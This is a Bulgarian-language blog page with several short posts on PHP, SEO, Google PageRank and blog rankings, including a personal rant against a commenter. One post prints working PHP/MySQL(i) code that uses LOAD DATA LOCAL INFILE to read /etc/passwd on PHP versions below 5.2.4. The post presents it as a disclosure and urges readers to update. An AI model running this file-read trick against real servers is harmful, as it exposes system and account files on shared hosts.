Apache PHP MySQL for Symbian - PAMP

Днес излезе PAMP за Symbian. PAMP = XAMPP за Symbian. Първата версия идва с PHP 5.2.2, Apache 2.2.4 и MySQL 5.0.37. На страницата за Download изберете дали искате мобилното сървър приложение да се инсталира в C или E (респективно на телефона или на картата). DocumentRoot по default е %(устройство):/data/apache/htdocs. Ето и default PHPinfo():

Най-тъпият PHP exploit в света!

През изминалият месец излязоха куп бъгове и дупки в сигурността на PHP. Куп бъгави функции, куп injection-и, но този беше най-фрапантният:

MySQL:

file_get_contents('/etc/passwd');

$l = mysql_connect("localhost", "root");
mysql_query("CREATE DATABASE a");
mysql_query("CREATE TABLE a.a (a varchar(1024))");
mysql_query("GRANT SELECT,INSERT ON a.a TO 'aaaa'@'localhost'");
mysql_close($l); mysql_connect("localhost", "aaaa");

mysql_query("LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE a.a");

$result = mysql_query("SELECT a FROM a.a");
while(list($row) = mysql_fetch_row($result))
  print $row . chr(10);



MySQLi:

function r($fp, &$buf, $len, &$err) {
    print fread($fp, $len);
}

$m = new mysqli('localhost', 'aaaa', '', 'a');
$m->options(MYSQLI_OPT_LOCAL_INFILE, 1);
$m->set_local_infile_handler("r");
$m->query("LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE a.a");
$m->close();

Не е ли тъп само? Vulnerable са всички версии под 5.2.4, така че съветвам всички да ъпдейтват.
Естествено, при правилни permissions едва ли ще се стигне до успех, но ми е интересно на колко shared hosting компании админите не са мързеливи.

Google PR Update - размишления и изводи

Най-накрая дочакахме и PR Update-а от Google, или по-скоро експорта му до Google Toolbar. Както знаете, Google Page Rank е величината, която характеризира важността на дадена страница (а не уебсайт) в Интернет. Измислена от Гугълците още в университета, тя все още фигурира в почти всеки алгоритъм за отсяване на уебстраници, без значение от конкретната задача :) Колко тъпо звучи само!
Тъпото обаче е съвсем другаде. Този експорт беше най-дългоочакваният в историята на Интернет, както и на Негово Величество - Пазарът на домейни! Не само че Гугъл се закъсняха с експорта почти двойно, ами и очевидно имаше големи изменения на алгоритмите за класиране и изчисляване на PR.
Предният update беше през Април и закъсня само месец. Обикновено на Google им отнема около 3 месеца, за да преровят всичките си сървъри, да ги синхронизират напълно, да преизчислят целият PR на всички страници и да го закарат до (най-големият снифер в света) Google Toolbar (за който ние всички се представяме, за да си проверим PR). От април обаче минаха около 6 месеца. През това време се случи много - Google се обяви против купуването на линкове с цел манипулация на PR. След това забрани всички останали мотиви и наложи на уебмастърите да слагат nofollow на линковете, които продават, за да знае Бото.
След това заваляха дебати, анекдоти и бирени полемики из целия свят. Цял един бизнес модел беше пред разруха и всички пряко и косвено замесени впрегнаха всички сили, за да се противопоставят на най-мощната компания в света. Похвално, но безуспешно.
Още по време на дежурният преди TBPR export "танц" на SERPs се забеляза, че търговията на линкове ще бъде наказвана жестоко. Забеляза се и друго - алгоритъмът е прекалено строг на моменти. За по ден-два от SERPs изчезнаха сайтове със съмнителен произход на линкове като DMOZ и Wikipedia. След експортът пък SearchEngineWatch и още куп подобни (огромни, но очевидни купувачи на линкове) сайтове загубиха по 3 пункта от своят PR. Противно всякаква логика пък, моят блог получи 4, при положение, че не съм поствал кой знае колко (следователно -> по-малко линкбейт, по-малко линкове от скрейпъри и следпостингов спам). Поразгледах и още такива сайтове и закономерността, която виждам е следната:

• Google намрази директориите още повече. Линковете от повечето директории все още имат тежест, но голяма част ги изгубиха. Тенденцията е към намаляване на тежестта от линковете, идващи от нерелевантни източници.
• Вътрешната структура на сайта има още по-голяма тежест.
• Еднопосочните линкове са по-силни отвсякога. Тествах го с няколко странички. Еднопосочен линк от PR0 страница се оказа с по-голяма тежест от двупосочен с PR4. (т'ва в резултатите де, едва ли важи за PageRank)
  
• Имаме повече бюджет за Bacardi, след като купуването на линкове е забранено и наказуемо от търсачките.

Равносметката при мен е следната: трябва да седна и да помисля някоя по-хитра линк билдинг стратегия. Очаквам цената на еднопосочните линкове да скочи скоро, както и на пазара да се включат все повече креативни играчи със стаблиен гръб, за сметката на дебелоглавите читанки. Очаквам също така да се търсят все повече програмисти и да се разшири пазарът на custom сайтове, защото безплатните решения орязват индивдуалността и уникалността, а това ще бъде все по-важно.
В крайна сметка - Long Live the King, and the King is Content! Клишето е по-вярно отвсякога. Докато Google е твърде зает да купува дъщерни фирми, вместо да чисти бъговете си и да си доразвие алгоритъма, линковете ще придобиват все по-малко тежест, защото са твърде лесни за манипулация. Сега е време за анализ на фактите и да се определи къде е границата на наказуемите линкове, както и къде е тънката нишка, която не се е скъсала още. Ще помоля по-наблюдателните да споделят опит под формата на коментари или блог постове.
До тук с фрийстайла.

Топ 100 на българските блогове

Класацийка, рий'ши. Няма състезания в Гугъл, няма спам из темите, няма нищо. Само един човечец, който очевидно е достатъчно компетентен, си прави класацийка и си я публикува. Доколкото разбрах, не се и подава на евтини провокации, така че няма смисъл да му тровите блога.
Класацията се намира на адрес: http://www.alabala.org/251.html. Класирането става на базата на 4 параметъра - Google Page Rank, Alexa Rank, Technorati Rank и Тодор Христов Rank - преценката на автора. Абе каквото и да напиша, ще е тъпо - отидете и вижте 100-те най-яки блога в България :)

За един Ганьовец

Този пост е продиктуван от простотията на един човек, изказал се тук:
http://www.blogger.com/comment.g?blogID=656214047729090560&postID=3430655042074094428

Драги ми Смехурко,
За пръв път си позволявам да изляза извън професионалния тон и го правя само за да предотвратя подобни коментари в иначе чистичкия ми блог.

Ти си прост човек. И за да не изглежда моето мнение като твоето, ще представя своите доказателства:

• Коментираш хора, които не познаваш, и се изказваш неподготвен. Из целият ми блог пише, че живея в Германия, а ти се изреза като магаре в канадски кър. Но все пак ми е интересно ти какъв си и къде живееш, че си позволяваш да поставяш под общ знаметал всичките ми сънародници и да ги обиждаш. Не ти прави чест. Но каква чест? Ти само си чувал за нея по филмите. Тук дори те е срам да кажеш кой си. Да де, аз си знам, ти си НИКОЙ. Поредният анонимен флеймър с претенции на база колко силно пръцкат.
• Коментираш ниша от която си нямаш хал хабер. Това SEO състезание се организира от познати мен хора. Познавам задочно също така и по-голямата част от участниците. Ние сме едно малко, но сплотено общество от креативни хора, които обменят опит и идеи. Във всеки такъв форум цари добрият дух и добрите отношения, а ти .. някакъв си емигрант там анонимен се опитваш да внесеш интрига. Гледай си работата. Ако си нямаш - намери си.
• Твърдиш, че ми е платено за този постинг. Твърдиш, че съм готов за някакво си евро да пренебрегна християнските ти ценности. Интересно ми е как го реши това? Ако исках да вадя пари с този блог, щях да продам линк на Fcolor, щях поне AdSense да си сложа. Идеята на този блог е да представи възможностите и качествата ми на доблестен професионалист, които ти оспорваш, без да си се запознал изобщо с това какъв човек съм и с какво се занимавам.
• Да погледнем нещата от друга страна? Да кажем, че peter ми е платил за тази публикация. Добре тогава, къде е sitewide линкът? Защо не съм рекламирал този пост никъде, а съм го оставил само тук да си лежи? Мислиш, че останалите състезатели не влизат в блога ми ли? Влизат.. даже са редовни. Никой от тях не се оплака. Ти къде си тръгнал да ми ревеш?
• И ако peter все пак ми е платил, колко да ми е платил? При награда от 1000 лева и при тарифата ми за платени услуги, то за него няма да остане. Пък ако ги исках тия 1000 лева, щях да се запиша в състезанието. Тия неща едва ли си ги помислил, ама то ти е простено.

Та по подобен начин стоят нещата. Ти вероятно дори не участваш в това състезание, защото ако участваше, щеше да знаеш някои неща. Например, че всеки си купува линкове. Щеше да знаеш кой съм аз и че отказвам линк размяна дори, защото съм принципен в етичното SEO. Щеше да знаеш, че другите участници спамят навсякъде, където намерят, докато peter - не. Щеше да знаеш, че Бого обяви публично, че ще дари наградата за благотворителност, като по този начин събра много линкове, но всички - нерелевантни. Затова е втори, а peter е първи. Щеше да знаеш, също така, че още преди да постна тази публикация peter беше първи въпреки 4-те хиляди линкове към сайта на Бого. Защо? Защото е професионалист и е най-добрият от участниците. Защото повечето пишат странни статийки на странна тематика, докато той си направи цял сайт за тази тема и говори само онтопик. И то със съвсем непкрит сарказъм спрямо голяма част от конкурентите. Това ме спечели. Ти ако водиш убедително в някакво състезание, ще си платиш ли, за да увеличиш разликата? Май не... Затова ти казвам, че си прост човек. Защото нещата са прости и елементарни, а ти въпреки така се обърка тъй смешно и се изказа тъй просташки.

А ако си имаше хал хабер от тази ниша и професия, щеше да знаеш, че 1000 лева са нищо работа за един професионалист. Вадят се за по-малко от една седмица. Тя самата награда е символична, хората го правят за его, а ти си мислиш, че даже делят парче от пая. Как ме е яд, че ти отделих това време изобщо. Изчезни като муха от блога ми. От тук нататък си игнориран, пиши си, каквото искаш. Аз казах, каквото имам.

Social Bookmarking сайт за социален маркетинг на Social Bookmarketing сайтове :)

Стартира най-новият, най-уникалният и наистина единствен по рода си Social Bookmarking сайт за социален маркетинг на Social Bookmarketing сайтове. Digove.info е създаден с единствената цел собствениците на социалните сайтове да имат един такъв сайт за тях самите, за да могат да рекламират отрочетата си. Няма съмнение, че сайтът е потръгнал добре, още 12 часа след пускането има над 60 дига, вдига, пинга или както там му казват.

Идеята, разбира се, е породена от Негово величество - Пазарът. Огромната конкуренция на сайтове от такъв тип предразполага маркетингов пазар за съответната услуга. Тъй като на нас, социумът на интернет спамерите, ни е много трудно да си изберем в кой сайт да пуснем линка към новата ни статия, на помощ се притича Digove.info. Неговата идея е да определи кой от всичките еднакви сайтове е най-добрият и да се съберем дружно там да спамим. Дайте своят глас, за да направите нашия избор една идея по-лек.

Номинираните до момента са:

• www.pipe.bg (pligg default template, меню на български);
  
• www.ping.bg (custom платформа, бяло, оранжево, сиво, синьо);
  
• www.dao.bg (pligg, бяло, зелено, синьо. Тясно ориентиран в информационните технологии. Организира SEO състезание);
  
• www.svejo.net (оранжево, AdSense revenue sharing);
  
• www.novinitednes.com (pligg, бяло, синьо и зелено).

Моите гласове отидоха при Dao.bg и Svejo.net, заради рекламните им кампании. До момента води Ping.bg, може би заради custom системата, която със сигурност ще им даде преднина в дългосрочен план.

Както сами разбирате, изборът е много труден. Моля, помогнете!

Google pwn3d like a bitch!!! 3 дупки в сигурността!

Зловеща седмица за Google (които, както разбирате, започвам да мразя все повече и повече). След като самият аз открих 2 bug-а при тях, които хич не са от безобидните, днес прочетох как да ви чета мейлите, да ви взема снимките от компютъра и да наспамя вас и всичките ви познати :) Звучи гадно, нали? И най-гадното е, че вие няма какво друго да правите, освен да чакате Google да си оправят грешките.

Добре де, не само. За да не хакнат вашият Gmail, Picasa или Blogger, трябва да не кликате на нито един линк в Мрежата, докато сте логнат с вашият Google акаунт. Звучи зловещо, но това е единственото сигурно решение на проблема.

Подобно на случая с ArenaBG, който кликне на грешен линк - изгаря. Ако кликне някой админ - перфектно :) Със самото кликане хакерът ще вземе вашите данни и автоматично ще източи всичката информация, до която се докопа, а после ще прави каквото намери за добре с нея.
Ако искате да прочетете по-подробно за самите бъгове кликнете тук (страх ви е, нали :П)
По-конкретно за дупката в Picasa - тук (хайде де :)
Как да източим Gmail - тук (логни се първо).
Как да пробием през Google Search Appliance - ето тук (благодаря :)

Очевидно, дупка в сигурността в система от такъв мащаб има силно социално явление. Около 200 000 уебсайта са застрашени заедно с данните на всичките им потребители, както и огромните системи като Gmail и Blogger (Blogspot), където се намира и моят блог в момента. Най-лошото е, че тези експлойти са вече публични и сега се очаква вълна от 15-годишни хлапета да копират кода и да хакнат колкото се може повече потребители, тъй както батко хакер им е показал. Да му мислят тия, дето са нагоре в търсачките, в това число и аз :)